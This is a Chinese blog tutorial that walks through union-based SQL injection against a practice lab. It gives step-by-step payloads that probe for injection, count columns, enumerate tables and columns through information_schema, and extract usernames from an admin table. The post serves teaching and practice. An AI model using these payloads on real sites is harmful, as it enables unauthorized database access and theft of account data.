zoukankan      html  css  js  c++  java
  • 猫舍靶场

    靶场练习链接:

    http://59.63.200.79:8003/?id=1

    http://117.167.136.245:10180/?id=1

    大体思路:

    判断注入点 -》 猜解表名 -》 猜解列名 -》 爆出字段内容

    1. 判断是否存在SQL注入漏洞
    2. 判断字段数量
    3. 根据上步字段数量,联合查询判断回显位
    4. 查询相关信息,比如数据库,版本等等

    实验过程记录:

    1:判断是否有SQL注入漏洞:

    ?id=1 and 1=1

    ?id=1 and 1=2

     2:判断字段数:

    ?id=1 and 1=1 order by num

    普及下 order by 的知识点:

    1. ORDER BY 语句用于根据指定的列对结果集进行排序

    2. ORDER BY 语句默认按照升序对记录进行排序。

    3. 如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。

    当用户提供的数据通过数据库的“Order By”语句中的值进行传递时,如果SQL查询中存在语法错误,那么应用程序就会抛出数据库错误。

    3:判断回显点:

    ?id=1 and 1=2 union 1,2,3,4,num

    根据判断出的字段数联合查询回显位

    介绍下union 联合注入,是将两个SQL语句进行联合且列数相同(这就是为甚要判断字段的原因)

    当使用联合查询的时候,前面一个语句显示为空的时候,后面语句的内容就显示了出来

    union all 与 union 的区别是增加了去重的功能

    union all (不去重)

    图我就不贴了

    查询数据库名:

    ?id=1 and 1=2 union select 1,database()   换成version()    则是版本信息

    联合查询查第一个表名:

    ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1     

    普及下里面的一些细节问题,如果觉得还不明白,可以在评论处留言:

    Mysql默认在数据库中存放一个"information_schema"的数据库

    table_schema 指定数据库

    information_schema.tables   这里存放MySQL所有的库表和字段

    group_concat(table_name)      可查所有表名       limit 限制查询条数

    group_concat函数:

    分组中的值连接成一个字符串(所以要结合GROUP BY 使用),将该字符串返回(主要用于分组显示的),默认以逗号分割,group_concat(table_name separator '-')     separator 指定分隔符

    concat函数:

    将多个字段链接成一个字符串(主要用于连接不同字段的),默认连接字段之间没有分隔符,如果想使用分隔符的话,就使用这个函数CONCAT_WS()

    concat_ws(',',name,image)
    

      

    查字段名:

    ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1     

    重要的是理解原理,语句都是类似的

    ?id=1 and 1=2 union select 1,username from admin limit 0,1

     ?id=1 and 1=2 union select 1,username from admin limit 0,1

    SQL注入内置函数:

    user()  当前数据库用户名

    version()  数据库版本信息

    请将你学到的知识分享给他人,感谢传递。
  • 相关阅读:
    解决mybatis查询返回结果值串查
    MSSQL Export Excel
    Linux检测硬盘读取速度
    Linux修改用户密码
    Linux系统关闭防火墙端口
    Linux系统查看系统信息
    查找一个String中存储的多个数据
    编辑器vi命令
    去除一段文字最后一个符号
    替换Jar包中的一个文件 Replace a file in a JAR
  • 原文地址:https://www.cnblogs.com/weaKn19ht/p/12032297.html
Copyright © 2011-2022 走看看